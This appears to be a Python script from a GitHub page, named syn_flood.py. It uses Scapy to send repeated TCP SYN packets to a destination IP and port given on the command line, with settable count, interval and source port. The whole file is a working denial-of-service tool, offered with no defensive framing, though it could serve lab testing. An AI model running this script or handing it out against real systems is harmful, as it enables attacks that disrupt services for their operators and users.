Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
#! /usr/bin/env python
import argparse
import sys
from scapy.all import *
def query( destination, dst_port, count, interval, src_port ):
if src_port:
sport = src_port
else:
sport = RandShort()
p=IP(dst=destination,id=1111,ttl=99)/TCP(sport=sport,dport=dst_port,seq=12345,ack=1000,window=1000,flags="S")/"SYN Flood"
# print("Field Values of packet sent")
# ls(p)
print("Sending {} Packets in {} second intervals".format(count, interval))
ans,unans=srloop(p,inter=interval,retry=2,timeout=0,count=count)
# print("Summary of answered packets")
# ans.summary()
# print("Summary of unanswered packets")
# unans.summary()
def main(args):
"""Called when running syn_flood.py as a script"""
parser = argparse.ArgumentParser(description='SYN Flood using Scapy')
parser.add_argument('destination', help='Destination IP', type=str)
parser.add_argument('-d','--dst_port', help='Destination TCP port. Defaults to 8080', type=int, default=8080)
parser.add_argument('-c','--count', help='Number of SYN packets to send. Defaults to 10', type=int, default=10)
parser.add_argument('-i','--interval', help='Seconds between sent packets. Defaults to 0.2', default=0.2, type=float)
parser.add_argument('-s','--src_port', help='Source port. Defaults to random', type=int)
args = parser.parse_args()
# print(args)
query( args.destination, args.dst_port, args.count, args.interval, args.src_port )
# if args.write is not None:
# columns, data = flowquery(ips,args.timestamp)
# flowwrite(columns, data, args.write)
# if args.write is None:
# columns, data = flowquery(ips,args.timestamp)
# print tabulate(data, headers=columns)
if __name__ == '__main__':
main(sys.argv)